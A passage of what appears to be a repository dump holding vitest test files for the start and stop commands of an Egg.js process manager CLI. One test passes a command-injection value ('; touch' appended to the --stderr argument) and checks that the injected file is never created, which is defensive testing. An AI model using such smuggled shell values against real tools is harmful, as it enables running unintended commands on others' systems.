    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport coffee from 'coffee';\nimport { detectPort } from 'detect-port';\nimport { mm, restore } from 'mm';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach, expect } from 'vitest';\n\nimport { cleanup, replaceWeakRefMessage, type Coffee } from './utils.ts';\n\n// const version = parseInt(process.version.split('.')[0].substring(1));\nconst __dirname = import.meta.dirname;\n\ndescribe.skip('test/start-without-demon-3.test.ts', () => {\n  const eggBin = path.join(__dirname, '../bin/run.js');\n  const fixturePath = path.join(__dirname, 'fixtures/example');\n  const homePath = path.join(__dirname, 'fixtures/home-start-without-demon');\n  const waitTime = 10000;\n\n  beforeAll(async () => {\n    await fs.mkdir(homePath, { recursive: true });\n  });\n  afterAll(async () => {\n    await fs.rm(homePath, { force: true, recursive: true });\n  });\n  beforeEach(() => mm(process.env, 'MOCK_HOME_DIR', homePath));\n  afterEach(restore);\n\n  describe('--title', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=2', '--title=egg-test', `--port=${port}`, fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/--title=egg-test/);\n      expect(app.stdout).toMatch(/\"title\":\"egg-test\"/);\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      expect(app.stdout).toMatch(/app_worker#2:/);\n      expect(app.stdout).not.toMatch(/app_worker#3:/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n  });\n\n  describe('--port', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', `--port=${port}`, '--workers=2', fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n  });\n\n  describe('process.env.PORT', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=2', fixturePath], {\n        env: Object.assign({}, process.env, { PORT: port }),\n      }) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n  });\n\n  describe('--env', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=2', '--env=pre', `--port=${port}`, fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}/env`);\n      // expect(result.data.toString()).toBe('pre, true');\n    });\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/start-without-demon-4.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport coffee from 'coffee';\nimport { detectPort } from 'detect-port';\nimport { mm, restore } from 'mm';\nimport { request } from 'urllib';\nimport { exists } from 'utility';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach, expect } from 'vitest';\n\nimport { cleanup, replaceWeakRefMessage, type Coffee } from './utils.ts';\n\n// const version = parseInt(process.version.split('.')[0].substring(1));\nconst __dirname = import.meta.dirname;\n\ndescribe.skip('test/start-without-demon-4.test.ts', () => {\n  const eggBin = path.join(__dirname, '../bin/run.js');\n  const fixturePath = path.join(__dirname, 'fixtures/example');\n  const homePath = path.join(__dirname, 'fixtures/home-start-without-demon');\n  const logDir = path.join(homePath, 'logs');\n  const waitTime = 10000;\n\n  beforeAll(async () => {\n    await fs.mkdir(homePath, { recursive: true });\n  });\n  afterAll(async () => {\n    await fs.rm(homePath, { force: true, recursive: true });\n  });\n  beforeEach(() => mm(process.env, 'MOCK_HOME_DIR', homePath));\n  afterEach(restore);\n\n  describe('--env', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=2', '--env=pre', `--port=${port}`, fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}/env`);\n      // expect(result.data.toString()).toBe('pre, true');\n    });\n  });\n\n  describe('custom env', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      mm(process.env, 'CUSTOM_ENV', 'pre');\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=2', `--port=${port}`, fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/## EGG_SERVER_ENV is not pass/);\n      expect(app.stdout).toMatch(/## CUSTOM_ENV: pre/);\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // let result = await request(`http://127.0.0.1:${port}/env`);\n      // expect(result.data.toString()).toBe('pre, true');\n      // result = await request(`http://127.0.0.1:${port}/path`);\n      // const appBinPath = path.join(fixturePath, 'node_modules/.bin');\n      // expect(result.data.toString()).toContain(`${appBinPath}${path.delimiter}`);\n    });\n  });\n\n  describe.skip('--stdout --stderr', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n      await fs.rm(logDir, { force: true, recursive: true });\n      await fs.rm(path.join(fixturePath, 'start-fail'), {\n        force: true,\n        recursive: true,\n      });\n      await fs.mkdir(logDir, { recursive: true });\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n      await fs.rm(path.join(fixturePath, 'stdout.log'), { force: true });\n      await fs.rm(path.join(fixturePath, 'stderr.log'), { force: true });\n      await fs.rm(path.join(fixturePath, 'start-fail'), {\n        force: true,\n        recursive: true,\n      });\n    });\n\n    it('should start', async () => {\n      const stdout = path.join(fixturePath, 'stdout.log');\n      const stderr = path.join(fixturePath, 'stderr.log');\n      const port = await detectPort();\n      app = coffee.fork(eggBin, [\n        'start',\n        '--workers=1',\n        '--daemon',\n        `--stdout=${stdout}`,\n        `--stderr=${stderr}`,\n        `--port=${port}`,\n        fixturePath,\n      ]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      let content = await fs.readFile(stdout, 'utf-8');\n      expect(content).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n\n      content = await fs.readFile(stderr, 'utf-8');\n      expect(content).toBe('');\n    });\n\n    it('should start with insecurity --stderr argument', async () => {\n      const cwd = path.join(__dirname, 'fixtures/status');\n      mm(process.env, 'ERROR', 'error message');\n\n      const stdout = path.join(fixturePath, 'start-fail/stdout.log');\n      const stderr = path.join(fixturePath, 'start-fail/stderr.log');\n      const malicious = path.join(fixturePath, 'start-fail/malicious');\n      const port = await detectPort();\n      app = coffee.fork(eggBin, [\n        'start',\n        '--workers=1',\n        '--daemon',\n        `--stdout=${stdout}`,\n        `--stderr=${stderr}; touch ${malicious}`,\n        `--port=${port}`,\n        cwd,\n      ]) as Coffee;\n      // app.debug();\n\n      await scheduler.wait(waitTime);\n\n      const content = await fs.readFile(stdout, 'utf-8');\n      expect(content).not.toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      let stats = await exists(stderr);\n      expect(stats).toBe(false);\n      stats = await exists(malicious);\n      expect(stats).toBe(false);\n    });\n  });\n\n  describe('--node', () => {\n    let app: Coffee;\n\n    beforeEach(async () => {\n      await cleanup(fixturePath);\n    });\n\n    beforeEach(async () => {\n      if (app?.proc) app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    describe('daemon', () => {\n      it('should start with daemon work', async () => {\n        const port = await detectPort();\n        app = coffee.fork(eggBin, [\n          'start',\n          '--daemon',\n          '--framework=yadan',\n          '--workers=2',\n          `--node=${process.execPath}`,\n          `--port=${port}`,\n          fixturePath,\n        ]) as Coffee;\n        // app.debug();\n        app.expect('code', 0);\n\n        await scheduler.wait(waitTime);\n\n        expect(replaceWeakRefMessage(app.stderr)).toBe('');\n        expect(app.stdout).toMatch(/yadan started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n        const result = await request(`http://127.0.0.1:${port}`);\n        expect(result.data.toString()).toBe('hi, yadan');\n      });\n\n      it('should error if node path invalid', async () => {\n        app = coffee.fork(eggBin, [\n          'start',\n          '--daemon',\n          '--framework=yadan',\n          '--workers=2',\n          '--node=invalid',\n          fixturePath,\n        ]) as Coffee;\n        // app.debug();\n        app.expect('code', 1);\n\n        await scheduler.wait(3000);\n        expect(app.stderr).toMatch(/spawn invalid ENOENT/);\n      });\n    });\n\n    describe('not daemon', () => {\n      it('should start', async () => {\n        const port = await detectPort();\n        app = coffee.fork(eggBin, [\n          'start',\n          '--framework=yadan',\n          '--workers=2',\n          `--node=${process.execPath}`,\n          `--port=${port}`,\n          fixturePath,\n        ]) as Coffee;\n        // app.debug();\n        app.expect('code', 0);\n\n        await scheduler.wait(waitTime);\n\n        expect(replaceWeakRefMessage(app.stderr)).toBe('');\n        expect(app.stdout).toMatch(/yadan started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n        const result = await request(`http://127.0.0.1:${port}`);\n        expect(result.data.toString()).toBe('hi, yadan');\n      });\n\n      it('should error if node path invalid', async () => {\n        app = coffee.fork(eggBin, [\n          'start',\n          '--framework=yadan',\n          '--workers=2',\n          '--node=invalid',\n          fixturePath,\n        ]) as Coffee;\n        // app.debug();\n        app.expect('code', 1);\n\n        await scheduler.wait(3000);\n        expect(app.stderr).toMatch(/spawn invalid ENOENT/);\n      });\n    });\n  });\n\n  describe('read cluster config', () => {\n    let app: Coffee;\n    let fixturePath: string;\n\n    beforeAll(async () => {\n      fixturePath = path.join(__dirname, 'fixtures/cluster-config');\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      app = coffee.fork(eggBin, ['start', '--workers=2', fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/egg started on http:\\/\\/127\\.0\\.0\\.1:8000/);\n      // expect(app.stdout).not.toMatch(/app_worker#3:/);\n      // const result = await request('http://127.0.0.1:8000');\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/start-without-demon-5.test.ts",
    "content": "import { once } from 'node:events';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport coffee from 'coffee';\nimport { detectPort } from 'detect-port';\nimport { mm, restore } from 'mm';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach, expect } from 'vitest';\n\nimport { isWindows } from '../src/helper.ts';\nimport { cleanup, replaceWeakRefMessage, type Coffee } from './utils.ts';\n\n// const version = parseInt(process.version.split('.')[0].substring(1));\nconst __dirname = import.meta.dirname;\n\ndescribe.skip('test/start-without-demon-5.test.ts', () => {\n  const eggBin = path.join(__dirname, '../bin/run.js');\n  const fixturePath = path.join(__dirname, 'fixtures/example');\n  const homePath = path.join(__dirname, 'fixtures/home-start-without-demon');\n  const waitTime = 10000;\n\n  beforeAll(async () => {\n    await fs.mkdir(homePath, { recursive: true });\n  });\n  afterAll(async () => {\n    await fs.rm(homePath, { force: true, recursive: true });\n  });\n  beforeEach(() => mm(process.env, 'MOCK_HOME_DIR', homePath));\n  afterEach(restore);\n\n  describe('read eggScriptsConfig', () => {\n    let app: Coffee;\n    let fixturePath: string;\n\n    beforeAll(async () => {\n      fixturePath = path.join(__dirname, 'fixtures/egg-scripts-node-options');\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      app = coffee.fork(eggBin, ['start', '--workers=1', fixturePath]) as Coffee;\n      app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/maxHeaderSize: 20000/);\n    });\n  });\n\n  describe.skip('read egg.revert', () => {\n    let app: Coffee;\n    let fixturePath: string;\n\n    beforeAll(async () => {\n      fixturePath = path.join(__dirname, 'fixtures/egg-revert');\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      app = coffee.fork(eggBin, ['start', '--workers=1', fixturePath]) as Coffee;\n      app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      // expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/SECURITY WARNING: Reverting CVE-2023-46809: Marvin attack on PKCS#1 padding/);\n    });\n  });\n\n  describe('subDir as baseDir', () => {\n    let app: Coffee;\n    const rootDir = path.join(__dirname, '..');\n    const subDir = path.join(__dirname, 'fixtures/subdir-as-basedir/base-dir');\n\n    beforeAll(async () => {\n      await cleanup(rootDir);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(rootDir);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=2', `--port=${port}`, subDir], { cwd: rootDir }) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/egg started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n  });\n\n  describe('auto set custom node dir to PATH', () => {\n    let app: Coffee;\n    let fixturePath: string;\n\n    beforeAll(async () => {\n      fixturePath = path.join(__dirname, 'fixtures/custom-node-dir');\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should start', async () => {\n      const port = await detectPort();\n      // const expectPATH =\n      //   [path.join(fixturePath, 'node_modules/.bin'), path.join(fixturePath, '.node/bin')].join(path.delimiter) +\n      //   path.delimiter;\n      app = coffee.fork(eggBin, ['start', '--workers=2', `--port=${port}`, fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/egg started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      expect(app.stdout).not.toMatch(/app_worker#3:/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toContain(`hi, ${expectPATH}`);\n    });\n  });\n\n  describe('kill command', () => {\n    let app: Coffee;\n\n    beforeAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    afterAll(async () => {\n      await cleanup(fixturePath);\n    });\n\n    it('should wait child process exit', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', `--port=${port}`, '--workers=2', fixturePath]) as Coffee;\n      await scheduler.wait(waitTime);\n      const exitEvent = once(app.proc, 'exit');\n      app.proc.kill('SIGTERM');\n      const [code] = await exitEvent;\n      if (isWindows) {\n        expect(code).toBe(null);\n      } else {\n        expect(code).toBe(0);\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/start.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport coffee from 'coffee';\nimport { detectPort } from 'detect-port';\nimport { mm, restore } from 'mm';\nimport { request } from 'urllib';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';\n\nimport { isWindows } from '../src/helper.ts';\nimport { cleanup } from './utils.ts';\n\nconst __dirname = import.meta.dirname;\n\ndescribe.skip('test/start.test.ts', () => {\n  const eggBin = path.join(__dirname, '../bin/run.js');\n  const fixturePath = path.join(__dirname, 'fixtures/example');\n  const homePath = path.join(__dirname, 'fixtures/home');\n  const logDir = path.join(homePath, 'logs');\n\n  beforeAll(async () => {\n    await fs.mkdir(homePath, { recursive: true });\n  });\n  afterAll(async () => {\n    await fs.rm(homePath, { force: true, recursive: true });\n  });\n  beforeEach(() => mm(process.env, 'MOCK_HOME_DIR', homePath));\n  afterEach(restore);\n\n  describe('start with daemon', () => {\n    let cwd: string;\n    beforeEach(async () => {\n      if (cwd) {\n        await cleanup(cwd);\n      }\n      await fs.rm(logDir, { force: true, recursive: true });\n      await fs.mkdir(logDir, { recursive: true });\n      await fs.writeFile(path.join(logDir, 'master-stdout.log'), 'just for test');\n      await fs.writeFile(path.join(logDir, 'master-stderr.log'), 'just for test');\n    });\n\n    afterEach(async () => {\n      await coffee\n        .fork(eggBin, ['stop', cwd])\n        // .debug()\n        .end();\n      await cleanup(cwd);\n    });\n\n    it('should start custom-framework', async () => {\n      cwd = fixturePath;\n      const port = await detectPort();\n      await coffee\n        .fork(eggBin, ['start', '--daemon', '--workers=2', `--port=${port}`, cwd])\n        // .debug()\n        .expect('stdout', /Starting custom-framework application/)\n        .expect('stdout', /custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/)\n        .expect('code', 0)\n        .end();\n\n      // master log\n      const stdout = await fs.readFile(path.join(logDir, 'master-stdout.log'), 'utf-8');\n      const stderr = await fs.readFile(path.join(logDir, 'master-stderr.log'), 'utf-8');\n      assert(stderr === '');\n      assert.match(stdout, /custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n\n      // should rotate log\n      const fileList = await fs.readdir(logDir);\n      // console.log(fileList);\n      assert(fileList.some((name) => name.match(/master-stdout\\.log\\.\\d+\\.\\d+/)));\n      assert(fileList.some((name) => name.match(/master-stderr\\.log\\.\\d+\\.\\d+/)));\n\n      const result = await request(`http://127.0.0.1:${port}`);\n      assert.equal(result.data.toString(), 'hi, egg');\n    });\n\n    it('should start default egg', async () => {\n      cwd = path.join(__dirname, 'fixtures/egg-app');\n      const port = await detectPort();\n      await coffee\n        .fork(eggBin, ['start', '--daemon', '--workers=2', `--port=${port}`, cwd])\n        .debug()\n        .expect('stdout', /Starting egg application/)\n        .expect('stdout', /egg started on http:\\/\\/127\\.0\\.0\\.1:\\d+/)\n        .expect('code', 0)\n        .end();\n    });\n  });\n\n  describe('check status', () => {\n    let cwd: string;\n    beforeEach(() => {\n      cwd = path.join(__dirname, 'fixtures/status');\n    });\n\n    afterAll(async () => {\n      await coffee\n        .fork(eggBin, ['stop', cwd])\n        // .debug()\n        .end();\n      await cleanup(cwd);\n    });\n\n    it('should status check success, exit with 0', async () => {\n      mm(process.env, 'WAIT_TIME', 3000);\n      await coffee\n        .fork(eggBin, ['start', '--daemon', '--workers=1'], { cwd })\n        // .debug()\n        .expect('stdout', /Wait Start: 2.../)\n        .expect('stdout', /custom-framework started/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should status check fail `--ignore-stderr`, exit with 0', async () => {\n      mm(process.env, 'WAIT_TIME', 3000);\n      mm(process.env, 'ERROR', 'error message');\n      const app = coffee.fork(eggBin, ['start', '--daemon', '--workers=1', '--ignore-stderr'], { cwd });\n      // app.debug();\n      // TODO: find a windows replacement for tail command\n      if (!isWindows) {\n        app.expect('stderr', /nodejs.Error: error message/);\n      }\n      await app\n        .expect('stderr', /Start got error, see /)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should status check fail `--ignore-stderr` in package.json, exit with 0', async () => {\n      cwd = path.join(__dirname, 'fixtures/egg-scripts-config');\n      mm(process.env, 'WAIT_TIME', 3000);\n      mm(process.env, 'ERROR', 'error message');\n\n      const app = coffee.fork(eggBin, ['start'], { cwd });\n      // app.debug();\n      // TODO: find a windows replacement for tail command\n      if (!isWindows) {\n        app.expect('stderr', /nodejs.Error: error message/);\n      }\n      await app\n        .expect('stderr', /Start got error, see /)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should status check fail, exit with 1', async () => {\n      mm(process.env, 'WAIT_TIME', 3000);\n      mm(process.env, 'ERROR', 'error message');\n\n      const app = coffee.fork(eggBin, ['start', '--daemon', '--workers=1'], {\n        cwd,\n      });\n      // app.debug();\n      // TODO: find a windows replacement for tail command\n      if (!isWindows) {\n        app.expect('stderr', /nodejs.Error: error message/);\n      }\n      await app\n        .expect('stderr', /Start got error, see /)\n        .expect('stderr', /Got error when startup/)\n        .expect('code', 1)\n        .end();\n    });\n\n    it('should status check timeout and exit with code 1', async () => {\n      mm(process.env, 'WAIT_TIME', 10000);\n\n      await coffee\n        .fork(eggBin, ['start', '--daemon', '--workers=1', '--timeout=5000'], {\n          cwd,\n        })\n        // .debug()\n        .expect('stdout', /Wait Start: 1.../)\n        .expect('stderr', /Start failed, 5s timeout/)\n        .expect('code', 1)\n        .end();\n    });\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/stop.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport coffee from 'coffee';\nimport { detectPort } from 'detect-port';\nimport { mm, restore } from 'mm';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach, expect } from 'vitest';\n\nimport { isWindows } from '../src/helper.ts';\nimport { cleanup, replaceWeakRefMessage, type Coffee } from './utils.ts';\n\nconst __dirname = import.meta.dirname;\n\ndescribe('test/stop.test.ts', () => {\n  const eggBin = path.join(__dirname, '../bin/run.js');\n  const fixturePath = path.join(__dirname, 'fixtures/example-stop');\n  const timeoutPath = path.join(__dirname, 'fixtures/stop-timeout');\n  const homePath = path.join(__dirname, 'fixtures/home');\n  const logDir = path.join(homePath, 'logs');\n  const waitTime = 1000;\n\n  beforeAll(async () => {\n    await fs.mkdir(homePath, { recursive: true });\n  });\n  afterAll(async () => {\n    await fs.rm(homePath, { force: true, recursive: true });\n  });\n  beforeEach(() => mm(process.env, 'MOCK_HOME_DIR', homePath));\n  afterEach(restore);\n\n  describe('stop without daemon', () => {\n    let app: Coffee;\n    let killer: Coffee;\n\n    beforeEach(async () => {\n      await cleanup(fixturePath);\n      const port = await detectPort();\n      app = coffee.fork(eggBin, [\n        'start',\n        '--workers=2',\n        '--title=egg-server-example-stop',\n        `--port=${port}`,\n        fixturePath,\n      ]) as Coffee;\n      app.debug();\n      app.expect('code', 0);\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n\n    afterEach(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should stop', async () => {\n      killer = coffee.fork(eggBin, ['stop', '--title=egg-server-example-stop', fixturePath]) as Coffee;\n      // killer.debug();\n      killer.expect('code', 0);\n      await killer.end();\n\n      // make sure is kill not auto exist\n      expect(app.stdout).not.toMatch(/exist by env/);\n\n      // no way to handle the SIGTERM signal in windows ?\n      if (!isWindows) {\n        expect(app.stdout).toMatch(/\\[master] master is killed by signal SIGTERM, closing/);\n        expect(app.stdout).toMatch(/\\[master] exit with code:0/);\n        expect(app.stdout).toMatch(/\\[app_worker] exit with code:0/);\n        // assert(app.stdout.includes('[agent_worker] exit with code:0'));\n      }\n\n      expect(killer.stdout).toMatch(/stopping egg application/);\n      expect(killer.stdout).toMatch(/got master pid \\[\\d+\\]/);\n    });\n  });\n\n  describe('stop with daemon', () => {\n    beforeEach(async () => {\n      await cleanup(fixturePath);\n      await fs.rm(logDir, { force: true, recursive: true });\n      const port = await detectPort();\n      await coffee\n        .fork(eggBin, ['start', '--daemon', '--workers=2', `--port=${port}`, fixturePath])\n        // .debug()\n        .expect('code', 0)\n        .end();\n\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n    afterEach(async () => {\n      await cleanup(fixturePath);\n    });\n\n    it('should stop', async () => {\n      await coffee\n        .fork(eggBin, ['stop', '--title=egg-server-example-stop', fixturePath])\n        .debug()\n        .expect('stdout', /stopping egg application/)\n        .expect('stdout', /got master pid \\[\\d+\\]/i)\n        .expect('code', 0)\n        .end();\n\n      // master log\n      const stdout = await fs.readFile(path.join(logDir, 'master-stdout.log'), 'utf-8');\n\n      // no way to handle the SIGTERM signal in windows ?\n      if (!isWindows) {\n        expect(stdout).toMatch(/\\[master] master is killed by signal SIGTERM, closing/);\n        expect(stdout).toMatch(/\\[master] exit with code:0/);\n        expect(stdout).toMatch(/\\[app_worker] exit with code:0/);\n      }\n\n      await coffee\n        .fork(eggBin, ['stop', '--title=egg-server-example-stop', fixturePath])\n        .debug()\n        .expect('stderr', /can't detect any running egg process/)\n        .expect('code', 0)\n        .end();\n    });\n  });\n\n  describe('stop with not exist', () => {\n    it('should work', async () => {\n      await cleanup(fixturePath);\n      await coffee\n        .fork(eggBin, ['stop', '--title=egg-server-example-stop', fixturePath])\n        // .debug()\n        .expect('stdout', /stopping egg application/)\n        .expect('stderr', /can't detect any running egg process/)\n        .expect('code', 0)\n        .end();\n    });\n  });\n\n  describe('stop --title', () => {\n    let app: Coffee;\n    let killer: Coffee;\n\n    beforeEach(async () => {\n      await cleanup(fixturePath);\n      const port = await detectPort();\n      app = coffee.fork(eggBin, [\n        'start',\n        '--workers=2',\n        '--title=example-stop',\n        `--port=${port}`,\n        fixturePath,\n      ]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n      await scheduler.wait(waitTime);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n\n    afterEach(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should stop only if the title matches exactly', async () => {\n      // Because of'exmaple'.inclues('exmap') === true，if egg-scripts <= 2.1.0 and you run `.. stop --title=exmap`，the process with 'title:example' will also be killed unexpectedly\n      await coffee\n        .fork(eggBin, ['stop', '--title=examp', fixturePath])\n        // .debug()\n        .expect('stdout', /stopping egg application with --title=examp/)\n        .expect('stderr', /can't detect any running egg process/)\n        .expect('code', 0)\n        .end();\n\n      // stop only if the title matches exactly\n      await coffee\n        .fork(eggBin, ['stop', '--title=example-stop', fixturePath])\n        // .debug()\n        .expect('stdout', /stopping egg application with --title=example-stop/)\n        .expect('stdout', /got master pid \\[/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should stop', async () => {\n      await coffee\n        .fork(eggBin, ['stop', '--title=random', fixturePath])\n        .debug()\n        .expect('stdout', /stopping egg application with --title=random/)\n        .expect('stderr', /can't detect any running egg process/)\n        .expect('code', 0)\n        .end();\n\n      killer = coffee.fork(eggBin, ['stop', '--title=example-stop'], {\n        cwd: fixturePath,\n      }) as Coffee;\n      killer.debug();\n      // killer.expect('code', 0);\n      await killer.end();\n\n      // make sure is kill not auto exist\n      expect(app.stdout).not.toMatch(/exist by env/);\n\n      // no way to handle the SIGTERM signal in windows ?\n      if (!isWindows) {\n        expect(app.stdout).toMatch(/\\[master] master is killed by signal SIGTERM, closing/);\n        expect(app.stdout).toMatch(/\\[master] exit with code:0/);\n        expect(app.stdout).toMatch(/\\[app_worker] exit with code:0/);\n        // 